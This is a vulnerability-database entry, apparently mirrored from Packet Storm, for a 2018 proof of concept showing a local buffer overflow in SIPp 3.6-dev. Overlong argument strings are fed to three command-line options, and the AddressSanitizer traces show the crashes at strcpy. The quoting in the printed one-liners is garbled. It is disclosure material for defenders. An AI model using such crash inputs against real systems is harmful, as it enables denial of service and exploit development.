Lucene search
K

SIPp 3.6 Buffer Overflow

🗓️ 02 Jul 2018 00:00:00Reported by Fakhri ZulkifliType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 17 Views

SIPp 3.6 Local Buffer Overflow Exploi

Code
`# Exploit Title: SIPp 3.6 - Local Buffer Overflow (PoC)  
# Date: 2018-06-30  
# Exploit Author: Fakhri Zulkifli  
# Vendor Homepage: http://sipp.sourceforge.net/   
# Software Link: https://github.com/SIPp/sipp/releases   
# Version: 3.6-dev and earlier  
# Tested on: 3.6-dev  
  
$ ./sipp -3pcc `python -c aprint aAa * 300'`  
  
#0 0x448364 in strcpy /home/user/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:425  
#1 0x668d06 in main /home/user/sipp/src/sipp.cpp:1531:17  
#2 0x7ff5ec21282f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291  
#3 0x41f1a8 in _start (/home/user/sipp/sipp+0x41f1a8)  
  
$ ./sipp -i `python -c aprint aAa * 300'`  
  
#0 0x448364 in strcpy /home/user/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:425  
#1 0x66a303 in main /home/user/sipp/src/sipp.cpp:1477:17  
#2 0x7f281302682f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291  
#3 0x41f1a8 in _start (/home/user/sipp/sipp+0x41f1a8)  
  
$ ./sipp -log_file `python -c aprint aAa * 300'`  
  
#0 0x448364 in strcpy /home/user/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:425  
#1 0x66912f in main /home/user/sipp/src/sipp.cpp:1706:17  
#2 0x7f6ca663782f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291  
#3 0x41f1a8 in _start (/home/user/sipp/sipp+0x41f1a8)  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Jul 2018 00:00Current
0.3Low risk
Vulners AI Score0.3
17